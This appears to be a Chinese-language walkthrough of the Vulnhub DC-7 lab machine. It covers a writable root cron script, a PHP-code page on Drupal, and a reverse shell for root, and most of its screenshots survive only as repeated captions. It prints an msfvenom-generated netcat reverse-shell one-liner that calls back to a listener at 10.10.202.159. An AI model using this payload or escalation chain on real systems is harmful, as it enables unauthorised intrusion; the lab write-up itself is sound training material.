靶机下载地址:

https://www.vulnhub.com/entry/dc-7,356/

主机扫描:

Dc:7 Vulnhub Walkthrough

 

http://10.10.202.161/

Dc:7 Vulnhub Walkthrough

 

Google搜索下:

Dc:7 Vulnhub Walkthrough

 

Dc:7 Vulnhub Walkthrough

 

SSH 登录

Dc:7 Vulnhub Walkthrough

 

Dc:7 Vulnhub Walkthrough

Dc:7 Vulnhub Walkthrough

以上分析得出:此脚本是root每三分钟执行一次,并且www-data用户具有写入权限,因此需要想办法获取此权限,进行写入shell反弹即可

Dc:7 Vulnhub Walkthrough

 

https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shel

Dc:7 Vulnhub Walkthrough Dc:7 Vulnhub Walkthrough

 

Dc:7 Vulnhub Walkthrough

 

我们点击扩展安装一个PHP的模块

https://www.drupal.org/project/php

Dc:7 Vulnhub Walkthrough

 

Dc:7 Vulnhub Walkthrough

 

 Dc:7 Vulnhub Walkthrough

 

创建基本网页,选择PHP code

Dc:7 Vulnhub Walkthrough

 

Dc:7 Vulnhub Walkthrough

 

写入shell

Dc:7 Vulnhub Walkthrough

 

本地监听获取shell root权限

等了三分钟没shell过来,竟然没执行,这。。。。 换个方式吧

╰─ msfvenom -p cmd/unix/reverse_netcat lhost=10.10.202.159 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/iwxe; nc 10.10.202.159 6666 0</tmp/iwxe | /bin/sh >/tmp/iwxe 2>&1; rm /tmp/iwxe

 

Dc:7 Vulnhub Walkthrough

 

确认已经写入

Dc:7 Vulnhub Walkthrough

 

OVER !

相关文章:

  • 2021-10-16
  • 2021-12-01
  • 2021-11-16
  • 2021-12-22
  • 2021-11-07
  • 2021-05-30
  • 2021-10-12
猜你喜欢
  • 2021-09-25
  • 2021-08-25
  • 2021-07-05
  • 2021-11-21
  • 2021-08-12
  • 2021-05-30
相关资源
相似解决方案